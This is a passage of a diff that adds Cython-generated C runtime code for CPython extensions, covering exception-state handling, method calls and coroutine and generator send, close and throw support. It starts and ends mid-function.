_PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if 